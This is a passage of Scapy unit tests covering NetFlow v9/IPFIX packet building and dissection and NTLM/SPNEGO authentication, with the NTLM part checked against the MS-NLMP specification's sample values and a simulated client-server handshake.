NetflowFlowsetV9( templates=[ NetflowTemplateV9( template_fields=[ NetflowTemplateFieldV9(fieldType="IN_BYTES", fieldLength=1), NetflowTemplateFieldV9(fieldType="IN_PKTS", fieldLength=4), NetflowTemplateFieldV9(fieldType="PROTOCOL"), NetflowTemplateFieldV9(fieldType="IPV4_SRC_ADDR"), NetflowTemplateFieldV9(fieldType="IPV4_DST_ADDR"), ], templateID=256, fieldCount=5), NetflowTemplateV9( template_fields=[ NetflowTemplateFieldV9(fieldType="IN_BYTES", fieldLength=1), NetflowTemplateFieldV9(fieldType="IN_PKTS", fieldLength=4), NetflowTemplateFieldV9(fieldType="PROTOCOL"), NetflowTemplateFieldV9(fieldType="IPV6_SRC_ADDR"), NetflowTemplateFieldV9(fieldType="IPV6_DST_ADDR"), ], templateID=257, fieldCount=5) ], flowSetID=0 ) # Generate classes for data records Record256 = GetNetflowRecordV9(template_flowset, templateID = 256) Record257 = GetNetflowRecordV9(template_flowset, templateID = 257) # Now lets build a dataFlowSet with 5* #256 records dataFlowset_1 = NetflowDataflowsetV9( templateID=256, records=[ Record256( IN_BYTES=0x12, IN_PKTS=0, PROTOCOL=1, IPV4_SRC_ADDR="192.168.0.10", IPV4_DST_ADDR="192.168.0.11" ), Record256( IN_BYTES=0x0c, IN_PKTS=0x01010101, PROTOCOL=2, IPV4_SRC_ADDR="172.0.0.10", IPV4_DST_ADDR="172.0.0.11" ), Record256( IN_BYTES=0x0c, IN_PKTS=0x01010101, PROTOCOL=3, IPV4_SRC_ADDR="172.0.0.10", IPV4_DST_ADDR="172.0.0.11" ), Record256( IN_BYTES=0x0c, IN_PKTS=0x01010101, PROTOCOL=4, IPV4_SRC_ADDR="172.0.0.10", IPV4_DST_ADDR="172.0.0.11" ), Record256( IN_BYTES=0x0c, IN_PKTS=0x01010101, PROTOCOL=5, IPV4_SRC_ADDR="172.0.0.10", IPV4_DST_ADDR="172.0.0.11" ) ], ) dataFlowset_2 = NetflowDataflowsetV9( templateID=257, records=[ Record257( IN_BYTES=0x12, IN_PKTS=0, PROTOCOL=1, IPV6_SRC_ADDR="2001:db8:3333:4444:5555:6666:7777:8888", IPV6_DST_ADDR="2001:db8::" ), Record257( IN_BYTES=0x0c, IN_PKTS=0x01010101, PROTOCOL=2, IPV6_SRC_ADDR="2001:db8:3333:4444:CCCC:DDDD:EEEE:FFFF", IPV6_DST_ADDR="2001:db8::" ) ], ) # An option template flowset, containing an unique template opttmpl258_flowSet = NetflowOptionsFlowsetV9( templateID = 258, option_scope_length = 4*1, option_field_length = 4*2, scopes = [ NetflowOptionsFlowsetScopeV9(scopeFieldType= 1, scopeFieldlength= 4), ], options = [ NetflowOptionsFlowsetOptionV9(optionFieldType= 34, optionFieldlength= 4), NetflowOptionsFlowsetOptionV9(optionFieldType= 35, optionFieldlength= 1) ]) # And finally a Record class for #258 Options class Record_258(NetflowRecordV9): name = "Option interface-table" fields_desc = [ IntField("System", 0), IntField("SAMPLING_INTERVAL", 4), XByteField("SAMPLING_ALGORITHM", 1) ] match_subclass = True # with a record Flowset optiondataFlowset = NetflowDataflowsetV9( templateID=258, records=[ Record_258( System=424242, SAMPLING_INTERVAL=100, SAMPLING_ALGORITHM=0x01 ), Record_258( System=242424, SAMPLING_INTERVAL=1000, SAMPLING_ALGORITHM=0x02 ) ], ) netflow_header = NetflowHeader()/NetflowHeaderV9(unixSecs=1547927349.328283) pkt = netflow_header / template_flowset / opttmpl258_flowSet / dataFlowset_1 / dataFlowset_2 / optiondataFlowset # Count: 12 = 2 + 1 + 5 + 2 + 2 assert raw(pkt) == b'\x00\t\x00\x0c\x00\x00\x00\x00\\C\x7f5\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x004\x01\x00\x00\x05\x00\x01\x00\x01\x00\x02\x00\x04\x00\x04\x00\x01\x00\x08\x00\x04\x00\x0c\x00\x04\x01\x01\x00\x05\x00\x01\x00\x01\x00\x02\x00\x04\x00\x04\x00\x01\x00\x1b\x00\x10\x00\x1c\x00\x10\x00\x01\x00\x18\x01\x02\x00\x04\x00\x08\x00\x01\x00\x04\x00"\x00\x04\x00#\x00\x01\x00\x00\x01\x00\x00L\x12\x00\x00\x00\x00\x01\xc0\xa8\x00\n\xc0\xa8\x00\x0b\x0c\x01\x01\x01\x01\x02\xac\x00\x00\n\xac\x00\x00\x0b\x0c\x01\x01\x01\x01\x03\xac\x00\x00\n\xac\x00\x00\x0b\x0c\x01\x01\x01\x01\x04\xac\x00\x00\n\xac\x00\x00\x0b\x0c\x01\x01\x01\x01\x05\xac\x00\x00\n\xac\x00\x00\x0b\x00\x00\x01\x01\x00P\x12\x00\x00\x00\x00\x01 \x01\r\xb833DDUUffww\x88\x88 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x01\x01\x01\x01\x02 \x01\r\xb833DD\xcc\xcc\xdd\xdd\xee\xee\xff\xff \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x18\x00\x06y2\x00\x00\x00d\x01\x00\x03\xb2\xf8\x00\x00\x03\xe8\x02\x00\x00' = NetflowV9 - Advanced dissection, complete example ~ netflow pkt = NetflowHeader(b'\x00\t\x00\x0c\x00\x00\x00\x00\\C\x7f5\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x004\x01\x00\x00\x05\x00\x01\x00\x01\x00\x02\x00\x04\x00\x04\x00\x01\x00\x08\x00\x04\x00\x0c\x00\x04\x01\x01\x00\x05\x00\x01\x00\x01\x00\x02\x00\x04\x00\x04\x00\x01\x00\x1b\x00\x10\x00\x1c\x00\x10\x00\x01\x00\x18\x01\x02\x00\x04\x00\x08\x00\x01\x00\x04\x00"\x00\x04\x00#\x00\x01\x00\x00\x01\x00\x00L\x12\x00\x00\x00\x00\x01\xc0\xa8\x00\n\xc0\xa8\x00\x0b\x0c\x01\x01\x01\x01\x02\xac\x00\x00\n\xac\x00\x00\x0b\x0c\x01\x01\x01\x01\x03\xac\x00\x00\n\xac\x00\x00\x0b\x0c\x01\x01\x01\x01\x04\xac\x00\x00\n\xac\x00\x00\x0b\x0c\x01\x01\x01\x01\x05\xac\x00\x00\n\xac\x00\x00\x0b\x00\x00\x01\x01\x00P\x12\x00\x00\x00\x00\x01 \x01\r\xb833DDUUffww\x88\x88 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x01\x01\x01\x01\x02 \x01\r\xb833DD\xcc\xcc\xdd\xdd\xee\xee\xff\xff \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x18\x00\x06y2\x00\x00\x00d\x01\x00\x03\xb2\xf8\x00\x00\x03\xe8\x02\x00\x00') nf_header = pkt.getlayer(NetflowHeader) assert nf_header.version == 9 nfv9_header = pkt.getlayer(NetflowHeaderV9) assert nf_header.count == 12 flowset_1 = pkt.getlayer(NetflowFlowsetV9, 1) assert len(flowset_1.templates) == 2 assert flowset_1.templates[0].templateID == 256 assert flowset_1.templates[1].templateID == 257 assert flowset_1.templates[1].fieldCount == 5 assert flowset_1.templates[1].template_fields[1].fieldLength == 4 flowset_2 = pkt.getlayer(NetflowOptionsFlowsetV9, 1) assert flowset_2.templateID == 258 assert len(flowset_2.scopes) == 1 assert len(flowset_2.options) == 2 assert flowset_2.pad == b'\x00\x00' flowset_3 = pkt.getlayer(NetflowDataflowsetV9, 1) assert flowset_3.templateID == 256 assert flowset_3.length == 76 flowset_4 = pkt.getlayer(NetflowDataflowsetV9, 2) assert flowset_4.templateID == 257 flowset_5 = pkt.getlayer(NetflowDataflowsetV9, 3) assert flowset_5.templateID == 258 ############ ############ + Netflow v10 (aka IPFix) ~ netflow = IPFix dissection import os filename = scapy_path("/test/pcaps/ipfix.pcap") a = sniff(offline=filename, session=NetflowSession) # Templates pkt1 = a[0] assert NetflowHeaderV10 in pkt1 assert len(pkt1[NetflowFlowsetV9].templates) == 1 assert len(pkt1[NetflowFlowsetV9].templates[0].template_fields) == 23 flds = pkt1[NetflowFlowsetV9].templates[0].template_fields assert (flds[0].fieldType == 8 and flds[0].fieldLength == 4) assert (flds[4].fieldType == 7 and flds[4].fieldLength == 2) # Data pkt2 = a[2] assert NetflowHeaderV10 in pkt2 assert len(pkt2.records) == 1 assert pkt2.records[0].IPV4_SRC_ADDR == "70.1.115.1" assert pkt2.records[0].flowStartMilliseconds == 1480449931519 # Options pkt3 = a[1] assert NetflowOptionsFlowset10 in pkt3 assert pkt3.scope_field_count == 1 assert pkt3.field_count == 3 assert len(pkt3[NetflowOptionsFlowset10].scopes) == 1 assert len(pkt3[NetflowOptionsFlowset10].options) == 2 assert pkt3.scopes[0].scopeFieldType == 5 assert pkt3.scopes[0].scopeFieldlength == 2 assert pkt3[NetflowOptionsFlowset10].options[0].optionFieldType == 36 # Templates with enterprise-specific Information Elements. s=b'\x01\x07\x00\x12\x01\n\x00\x04\x84\x0c\x00\x02\x00\x00\x00\t\x01\n\x00&\x00\x0b\x00\x02\x00\x07\x00\x02\x00\x04\x00\x01\x00\x0c\x00\x04\x00\x08\x00\x04\x00\xea\x00\x02\x01\n\x00\x01\x84\x10\x00\x06\x00\x00\x00\t\x84\x0e\x00\x06\x00\x00\x00\t\x84\x0f\x00\x06\x00\x00\x00\t\x00\x01\x00\x04\x00\x02\x00\x04\x00\xf3\x00\x02\x00\x06\x00\x01\x01\n\x00#' pkt4 = NetflowTemplateV9(s) assert len(pkt4.template_fields) == pkt4.fieldCount assert sum([template.fieldLength for template in pkt4.template_fields]) == 124 = NetflowV10/IPFIX - dissection without padding (GH3101) s=b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x00f\x00\x01\x00\x00@\x11|\x84\x7f\x00\x00\x01\x7f\x00\x00\x01\x08\x07\x08\x07\x00R\xee\xa2\x00\n\x00H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x18\x01\x01\x00\x04\x00\x02\x00\x04\x00\x04\x00\x01\x00\x08\x00\x04\x00\x0c\x00\x04\x01\x01\x00\x11\x00\x00\x00\x00\x06\xc0\xa8\x00\n\xc0\xa8\x00\x0b\x01\x01\x00\x11\x00\x00\x00\x00\x06\xc0\xa8\x00\n\xc0\xa8\x00\x0b' pkt = netflowv9_defragment(Ether(s))[0] for i in range(1,3): assert pkt.getlayer(NetflowDataflowsetV9, i).templateID == 257 assert pkt.getlayer(NetflowDataflowsetV9, i).records[0].IN_PKTS == 0 assert pkt.getlayer(NetflowDataflowsetV9, i).records[0].PROTOCOL == 6 assert pkt.getlayer(NetflowDataflowsetV9, i).records[0].IPV4_SRC_ADDR == "192.168.0.10" assert pkt.getlayer(NetflowDataflowsetV9, i).records[0].IPV4_DST_ADDR == "192.168.0.11" assert not pkt.getlayer(NetflowDataflowsetV9, 2).payload = NetflowV10/IPFIX - build netflow_header = NetflowHeader()/NetflowHeaderV10() flowset = NetflowFlowsetV9( templates=[NetflowTemplateV9( template_fields=[ NetflowTemplateFieldV9(fieldType=1, fieldLength=1), # IN_BYTES NetflowTemplateFieldV9(fieldType=2, fieldLength=4), # IN_PKTS NetflowTemplateFieldV9(fieldType=4), # PROTOCOL NetflowTemplateFieldV9(fieldType=8), # IPV4_SRC_ADDR NetflowTemplateFieldV9(fieldType=12), # IPV4_DST_ADDR ], templateID=256, fieldCount=5) ], flowSetID=0 ) recordClass = GetNetflowRecordV9(flowset) dataFS = NetflowDataflowsetV9( templateID=256, records=[ # Some random data. recordClass( IN_BYTES=0x12, IN_PKTS=0, PROTOCOL=6, IPV4_SRC_ADDR="192.168.0.10", IPV4_DST_ADDR="192.168.0.11" ), ], ) pkt = netflow_header / flowset / dataFS assert raw(pkt) == b'\x00\n\x00>\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x01\x00\x00\x05\x00\x01\x00\x01\x00\x02\x00\x04\x00\x04\x00\x01\x00\x08\x00\x04\x00\x0c\x00\x04\x01\x00\x00\x14\x12\x00\x00\x00\x00\x06\xc0\xa8\x00\n\xc0\xa8\x00\x0b\x00\x00' = Netflow9 - Build and dissect more int fields template_flowset = NetflowFlowsetV9( flowSetID=0, templates=[ NetflowTemplateV9( templateID=256, fieldCount=5, template_fields=[ NetflowTemplateFieldV9(fieldType="IN_BYTES", fieldLength=4), NetflowTemplateFieldV9(fieldType="IN_PKTS", fieldLength=4), NetflowTemplateFieldV9(fieldType="PROTOCOL", fieldLength=1), NetflowTemplateFieldV9(fieldType="IPV4_SRC_ADDR", fieldLength=4), NetflowTemplateFieldV9(fieldType="IPV4_DST_ADDR", fieldLength=4), ] ) ] ) recordClass = GetNetflowRecordV9(template_flowset) dataflowset = NetflowDataflowsetV9( templateID=256, records=[ recordClass( IN_BYTES=0x1234, IN_PKTS=0xABC, PROTOCOL=6, IPV4_SRC_ADDR="192.168.0.10", IPV4_DST_ADDR="192.168.0.11" ), ], ) assert bytes(dataflowset) == b'\x01\x00\x00\x18\x00\x00\x124\x00\x00\n\xbc\x06\xc0\xa8\x00\n\xc0\xa8\x00\x0b\x00\x00\x00' # Re-dissect after build dataflowset = NetflowDataflowsetV9(bytes(dataflowset)) rec = recordClass(dataflowset.records[0].fieldValue) assert rec.IN_BYTES == 0x1234 assert rec.IN_PKTS == 0xABC assert rec.IPV4_SRC_ADDR == "192.168.0.10" = NetflowSession - dissect packet NetflowV9 packets on-the-flow import os filename = scapy_path("/test/pcaps/netflowv9.pcap") dissected_packets = [] def callback(pkt): dissected_packets.append(pkt) sniff(offline=filename, session=NetflowSession, prn=callback) records = dissected_packets[3][NetflowDataflowsetV9].records assert len(records) == 24 assert records[0].IPV4_SRC_ADDR == '20.0.1.174' assert records[0].IPV4_NEXT_HOP == '10.100.103.1' # test for netflow IP_DSCP (id=195) dscp_flowset = NetflowFlowsetV9( templates=[ NetflowTemplateV9( template_fields=[ NetflowTemplateFieldV9(fieldType=195), ], templateID=273, ) ], flowSetID=2, ) recordClass = GetNetflowRecordV9(dscp_flowset, templateID=273) dscp_dataset = NetflowDataflowsetV9( templateID=273, records=[ recordClass( IP_DSCP=42, ), ], ) # record is generated with 2 zero bytes of padding assert(raw(dscp_dataset) == b'\x01\x11\x00\x08\x2a\x00\x00\x00') ================================================ FILE: test/scapy/layers/ntlm.uts ================================================ % NTLM tests + [MS-NLMP] tests = [MS-NLMP] 4.2.1 - Common Values User = "User" UserDom = "Domain" Passwd = "Password" ServerName = "Server" WorkstationName = "COMPUTER" RandomSessionKey = b"UUUUUUUUUUUUUUUU" Time = 0 ClientChallenge = b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa' ServerChallenge = b'\x01\x23\x45\x67\x89\xab\xcd\xef' = [MS-NLMP] 4.2.4 NegotiateFlags = 0xe28a8233 AVPairs1 = "Server" AVPairs2 = "Domain" = [MS-NLMP] 4.2.4.1.1 NTOWFv2() ResponseKeyNT = NTOWFv2(Passwd, User, UserDom) assert ResponseKeyNT == b'\x0c\x86\x8a@;\xfdz\x93\xa3\x00\x1e\xf2.\xf0.?' = Build NTLMv2_RESPONSE ntlm_response = NTLMv2_RESPONSE( TimeStamp=Time, ChallengeFromClient=ClientChallenge, AvPairs=[ AV_PAIR(AvId="MsvAvNbDomainName", Value=AVPairs2), AV_PAIR(AvId="MsvAvNbComputerName", Value=AVPairs1), AV_PAIR(AvId="MsvAvEOL"), # Windows does this (samba does not) AV_PAIR(AvId="MsvAvEOL"), ] ) = [MS-NLMP] 4.2.4.2.2 NTLMv2 Response ntlm_response.NTProofStr = ntlm_response.computeNTProofStr( ResponseKeyNT, ServerChallenge, ) assert ntlm_response.NTProofStr == b'h\xcd\n\xb8Q\xe5\x1c\x96\xaa\xbc\x92{\xeb\xefj\x1c' = [MS-NLMP] 4.2.4.1.2 Session Base Key ExportedSessionKey = SessionBaseKey = NTLMv2_ComputeSessionBaseKey( ResponseKeyNT, ntlm_response.NTProofStr, ) assert SessionBaseKey == b'\x8d\xe4\x0c\xca\xdb\xc1J\x82\xf1\\\xb0\xad\r\xe9\\\xa3' = [MS-NLMP] 4.2.4.2.3 Encrypted Session Key EncryptedRandomSessionKey = RC4K(SessionBaseKey, RandomSessionKey) assert EncryptedRandomSessionKey == b'\xc5\xda\xd2TO\xc9y\x90\x94\xce\x1c\xe9\x0b\xc9\xd0>' = [MS-NLMP] 4.2.4.3 Messages ntlm_nego = NTLM_NEGOTIATE( NegotiateFlags=NegotiateFlags, ProductMajorVersion=5, ProductMinorVersion=1, ProductBuild=2600, ) ntlm_nego.DomainName = UserDom ntlm_nego.WorkstationName = WorkstationName # ntlm_chall = NTLM_Header(b'NTLMSSP\x00\x02\x00\x00\x00\x0c\x00\x0c\x008\x00\x00\x003\x82\x8a\xe2\x01#Eg\x89\xab\xcd\xef\x00\x00\x00\x00\x00\x00\x00\x00$\x00$\x00D\x00\x00\x00\x06\x00p\x17\x00\x00\x00\x0fS\x00e\x00r\x00v\x00e\x00r\x00\x02\x00\x0c\x00D\x00o\x00m\x00a\x00i\x00n\x00\x01\x00\x0c\x00S\x00e\x00r\x00v\x00e\x00r\x00\x00\x00\x00\x00') ntlm_auth = NTLM_Header(b'NTLMSSP\x00\x03\x00\x00\x00\x18\x00\x18\x00l\x00\x00\x00T\x00T\x00\x84\x00\x00\x00\x0c\x00\x0c\x00H\x00\x00\x00\x08\x00\x08\x00T\x00\x00\x00\x10\x00\x10\x00\\\x00\x00\x00\x10\x00\x10\x00\xd8\x00\x00\x005\x82\x88\xe2\x05\x01(\n\x00\x00\x00\x0fD\x00o\x00m\x00a\x00i\x00n\x00U\x00s\x00e\x00r\x00C\x00O\x00M\x00P\x00U\x00T\x00E\x00R\x00\x86\xc3P\x97\xac\x9c\xec\x10%TvJW\xcc\xcc\x19\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaah\xcd\n\xb8Q\xe5\x1c\x96\xaa\xbc\x92{\xeb\xefj\x1c\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x00\x02\x00\x0c\x00D\x00o\x00m\x00a\x00i\x00n\x00\x01\x00\x0c\x00S\x00e\x00r\x00v\x00e\x00r\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc5\xda\xd2TO\xc9y\x90\x94\xce\x1c\xe9\x0b\xc9\xd0>') assert ntlm_auth.MIC is None = [MS-NLMP] 4.2.4.4 GSS_WrapEx SeqNum = 0 Plaintext = b'P\x00l\x00a\x00i\x00n\x00t\x00e\x00x\x00t\x00' SealKey = SEALKEY(ntlm_nego.NegotiateFlags, RandomSessionKey, "Client") assert SealKey == b'Y\xf6\x00\x97<\xc4\x96\n%H\n|\x19nLX' SignKey = SIGNKEY(ntlm_nego.NegotiateFlags, RandomSessionKey, "Client") assert SignKey == b'G\x88\xdc\x86\x1bG\x82\xf3]C\xfd\x98\xfe\x1a-9' # Build SSP and Context manually ssp = NTLMSSP() ctx = NTLMSSP.CONTEXT(IsAcceptor=False) ctx.SendSeqNum = SeqNum ctx.SendSignKey = SignKey ctx.SendSealKey = SealKey ctx.SendSealHandle = RC4Init(SealKey) _msgs, sig = ssp.GSS_WrapEx(ctx, [ SSP.WRAP_MSG(conf_req_flag=True, sign=True, data=Plaintext), ]) s = _msgs[0].data assert s == b'T\xe5\x01e\xbf\x196\xdc\x99` \xc1\x81\x1b\x0f\x06\xfb_' assert sig.Checksum == b'\x7f\xb3\x8e\xc5\xc5]Iv' assert bytes(sig) == b'\x01\x00\x00\x00\x7f\xb3\x8e\xc5\xc5]Iv\x00\x00\x00\x00' + GSS-API SPNEGO: SPNEGOSSP tests = Create randomness-mock context manager # mock the random to get consistency from unittest import mock def fake_urandom(x): # wow, impressive entropy return b"0" * x _patches = [ # Patch all the random mock.patch('scapy.layers.ntlm.os.urandom', side_effect=fake_urandom), ] class NTLMRandomPatcher: def __enter__(self): for p in _patches: p.start() def __exit__(self, *args, **kwargs): for p in _patches: p.stop() = Create client and server SPNEGOSSPs from scapy.layers.ntlm import NTLM_NEGOTIATE from scapy.layers.spnego import SPNEGO_negTokenInit, SPNEGO_negTokenResp, SPNEGO_Token, SPNEGO_negToken, SPNEGO_MechListMIC, SPNEGOSSP client = SPNEGOSSP([ NTLMSSP( UPN="User1", PASSWORD="Password1", ), ]) server = SPNEGOSSP([ NTLMSSP( IDENTITIES={ "User1": MD4le("Password1"), }, NTLM_VALUES={ "NetbiosDomainName": "DOMAIN", "NetbiosComputerName": "WIN10", "DnsDomainName": "domain.local", "DnsComputerName": "WIN10.domain.local", "DnsTreeName": "domain.local", }, ) ]) = GSS_Init_sec_context (negTokenInit: NTLM_NEGOTIATE) clicontext, tok, negState = client.GSS_Init_sec_context( None, req_flags=( GSS_C_FLAGS.GSS_C_MUTUAL_FLAG | GSS_C_FLAGS.GSS_C_INTEG_FLAG | GSS_C_FLAGS.GSS_C_CONF_FLAG ) ) assert negState == 1 assert isinstance(tok, GSSAPI_BLOB) tok = GSSAPI_BLOB(bytes(tok)) assert tok.MechType.val == '1.3.6.1.5.5.2' assert isinstance(tok.innerToken.token, SPNEGO_negTokenInit) assert len(tok.innerToken.token.mechTypes) == 1 assert tok.innerToken.token.mechTypes[0].oid == '1.3.6.1.4.1.311.2.2.10' assert tok.innerToken.token.reqFlags is None assert tok.innerToken.token.negHints is None assert tok.innerToken.token.mechListMIC is None assert tok.innerToken.token._mechListMIC is None ntlm_nego = tok.innerToken.token.mechToken.value assert isinstance(ntlm_nego, NTLM_NEGOTIATE) assert ntlm_nego.Payload == [] assert ntlm_nego.MessageType == 1 assert ntlm_nego.NegotiateFlags.NEGOTIATE_UNICODE and ntlm_nego.NegotiateFlags.NEGOTIATE_SIGN and ntlm_nego.NegotiateFlags.NEGOTIATE_KEY_EXCH assert ntlm_nego.NegotiateFlags == 0xe2898235 assert ntlm_nego.ProductMajorVersion == 10 assert ntlm_nego.ProductMinorVersion == 0 assert ntlm_nego.ProductBuild == 19041 assert bytes(ntlm_nego) == b'NTLMSSP\x00\x01\x00\x00\x005\x82\x89\xe2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\x00aJ\x00\x00\x00\x0f' = GSS_Accept_sec_context (SPNEGO_negTokenResp: NTLM_NEGOTIATE->NTLM_CHALLENGE) with NTLMRandomPatcher(): srvcontext, tok, negState = server.GSS_Accept_sec_context(None, tok) assert negState == 1 assert isinstance(tok, SPNEGO_negToken) tok = SPNEGO_negToken(bytes(tok)) assert isinstance(tok.token, SPNEGO_negTokenResp) assert tok.token.negState == 1 assert tok.token.supportedMech.oid == '1.3.6.1.4.1.311.2.2.10' assert isinstance(tok.token.responseToken, SPNEGO_Token) assert tok.token.mechListMIC is None ntlm_chall = tok.token.responseToken.value assert isinstance(ntlm_chall, NTLM_CHALLENGE) assert ntlm_chall.NegotiateFlags == 0xe2898235 assert ntlm_chall.getAv(2).Value == "DOMAIN" assert ntlm_chall.getAv(1).Value == "WIN10" assert ntlm_chall.getAv(4).Value == "domain.local" assert ntlm_chall.getAv(3).Value == "WIN10.domain.local" assert ntlm_chall.getAv(5).Value == "domain.local" assert ntlm_chall.getAv(0) = GSS_Init_sec_context (SPNEGO_negToken: NTLM_CHALLENGE->NTLM_AUTHENTICATE) with NTLMRandomPatcher(): clicontext, tok, negState = client.GSS_Init_sec_context(clicontext, tok) assert isinstance(tok, SPNEGO_negToken) tok = SPNEGO_negToken(bytes(tok)) assert isinstance(tok.token, SPNEGO_negTokenResp) assert tok.token.negState is None assert tok.token.supportedMech is None assert isinstance(tok.token.mechListMIC, SPNEGO_MechListMIC) sig = tok.token.mechListMIC.value assert isinstance(sig, NTLMSSP_MESSAGE_SIGNATURE) assert sig.Version == 1 assert sig.SeqNum == 0 assert isinstance(tok.token.responseToken, SPNEGO_Token) ntlm_auth = tok.token.responseToken.value assert isinstance(ntlm_auth, NTLM_AUTHENTICATE_V2) assert ntlm_auth.NegotiateFlags == 0xe2898235 assert ntlm_auth.UserName == "User1" assert ntlm_auth.DomainName == "DOMAIN" assert ntlm_auth.Workstation == "WIN10" assert ntlm_chall.TargetInfo[:6] == ntlm_auth.NtChallengeResponse.AvPairs[:6] assert ntlm_auth.NtChallengeResponse.getAv(6).Value == 2 assert ntlm_auth.NtChallengeResponse.getAv(9).Value == "host/WIN10" = GSS_Accept_sec_context (SPNEGO_negToken: NTLM_AUTHENTICATE->OK) srvcontext, tok, negState = server.GSS_Accept_sec_context(srvcontext, tok) assert negState == 0, negState # success :p assert isinstance(tok, SPNEGO_negToken) assert isinstance(tok.token, SPNEGO_negTokenResp) assert tok.token.negState == 0 assert tok.token.supportedMech is None assert tok.token.responseToken is None assert isinstance(tok.token.mechListMIC, SPNEGO_MechListMIC) sig = tok.token.mechListMIC.value assert isinstance(sig, NTLMSSP_MESSAGE_SIGNATURE) assert sig.Version == 1 assert sig.SeqNum == 0 assert srvcontext.SessionKey == clicontext.SessionKey assert clicontext.SessionKey == b"0000000000000000" = GSS_WrapEx/GSS_UnwrapEx: client sends a encrypted payload data_header = b"header" # signed but not encrypted data = b"testAAAAAAAAAABBBBBBBBBCCCCCCCCCDDDDDDDDDEEEEEEEEE" # encrypted with NTLMRandomPatcher(): _msgs, sig = client.GSS_WrapEx( clicontext, [ SSP.WRAP_MSG(conf_req_flag=False, sign=True, data=data_header), SSP.WRAP_MSG(conf_req_flag=True, sign=True, data=data) ] ) encrypted = _msgs[1].data assert bytes(encrypted) == b'\x9c_\xe9\xf2D\xc3\xe9^\xcd\x939\xff\xac\xa8\x16Y7\xcb \x80mS\xee.3\x85\x90\xfe\xb1_l\xcc\xcc\x7fl\x1ae,\x8b\xb3\x1cK\xd7zT\x1b\xd4W9Z' assert sig.Checksum == b'\x91\xca\x9d\x0c\x15\x1e\xc5"' decrypted = server.GSS_UnwrapEx( srvcontext, [ SSP.WRAP_MSG(conf_req_flag=False, sign=True, data=data_header), SSP.WRAP_MSG(conf_req_flag=True, sign=True, data=encrypted), ], sig )[1].data assert decrypted == data = GSS_WrapEx/GSS_UnwrapEx: server answers back with NTLMRandomPatcher(): _msgs, sig = server.GSS_WrapEx( srvcontext, [ SSP.WRAP_MSG(conf_req_flag=False, sign=True, data=data_header), SSP.WRAP_MSG(conf_req_flag=True, sign=True, data=data) ] ) re_encrypted = _msgs[1].data assert bytes(re_encrypted) == b'\x8f@s\x9c\xa5[\xd4\xee\xb6\x9b,\x96\xe6\x94\x8e\x8d\x1565\x81\xd0E\xe9WI\xd0\\\x80\x9fD\x1f\xee\xfb\xe5\xc6s\x0c+\t\xba,\xf1\xa2Zj\xd6\x0e\xe4C\x02' assert sig.Checksum == b'\x11l/\xeaO\xb8\x08z' decrypted = client.GSS_UnwrapEx( clicontext, [ SSP.WRAP_MSG(conf_req_flag=False, sign=True, data=data_header), SSP.WRAP_MSG(conf_req_flag=True, sign=True, data=re_encrypted), ], sig )[1].data assert decrypted == data = GSS_WrapEx/GSS_UnwrapEx: client continues with seqnum 2 with NTLMRandomPatcher(): _msgs, sig = client.GSS_WrapEx( clicontext, [ SSP.WRAP_MSG(conf_req_flag=False, sign=True, data=data_header), SSP.WRAP_MSG(conf_req_flag=True, sign=True, data=data) ] ) encrypted = _msgs[1].data assert bytes(encrypted) == b'\x96\xc2\xa8>\xa8\xc0\xb8\xc6\xb6\x8a\xe3\xc2\x84\x8a\xd4e\xeb?"s\xf9\x1drfC\xb9\xbe\xe8\x1e9\xfe\xa1\xa8^\xbe\x0e\x98\xb3]\xa0\x906\xf6`\xdfn\x88d_L' assert sig.Checksum == b'\xc5t\xfa\xba\x1c\x9d-\xa1' assert sig.SeqNum == 2 decrypted = server.GSS_UnwrapEx( srvcontext, [ SSP.WRAP_MSG(conf_req_flag=False, sign=True, data=data_header), SSP.WRAP_MSG(conf_req_flag=True, sign=True, data=encrypted), ], sig )[1].data assert decrypted == data = GSS_WrapEx/GSS_UnwrapEx: inject fault _msgs, sig = client.GSS_WrapEx( clicontext, [ SSP.WRAP_MSG(conf_req_flag=False, sign=True, data=data_header), SSP.WRAP_MSG(conf_req_flag=True, sign=True, data=data) ] ) encrypted = _msgs[1].data assert encrypted != data bad_data_header = data_header[:-3] + b"hey" try: server.GSS_UnwrapEx(srvcontext, [ SSP.WRAP_MSG(conf_req_flag=False, sign=True, data=bad_data_header), SSP.WRAP_MSG(conf_req_flag=True, sign=True, data=encrypted), ], sig ) assert False, "No error was reported, but there should have been one" except ValueError: pass + GSSAPI - Verify real exchange = Real exchange - Parse token 0 from server from scapy.layers.gssapi import GSSAPI_BLOB tok0 = GSSAPI_BLOB( b"\x60\x76\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x6c\x30\x6a\xa0\x3c" \ b"\x30\x3a\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x1e\x06\x09" \ b"\x2a\x86\x48\x82\xf7\x12\x01\x02\x02\x06\x09\x2a\x86\x48\x86\xf7" \ b"\x12\x01\x02\x02\x06\x0a\x2a\x86\x48\x86\xf7\x12\x01\x02\x02\x03" \ b"\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa3\x2a\x30\x28" \ b"\xa0\x26\x1b\x24\x6e\x6f\x74\x5f\x64\x65\x66\x69\x6e\x65\x64\x5f" \ b"\x69\x6e\x5f\x52\x46\x43\x34\x31\x37\x38\x40\x70\x6c\x65\x61\x73" \ b"\x65\x5f\x69\x67\x6e\x6f\x72\x65") = Real exchange - Create server SPNEGOSSP from scapy.layers.ntlm import NTLM_NEGOTIATE, 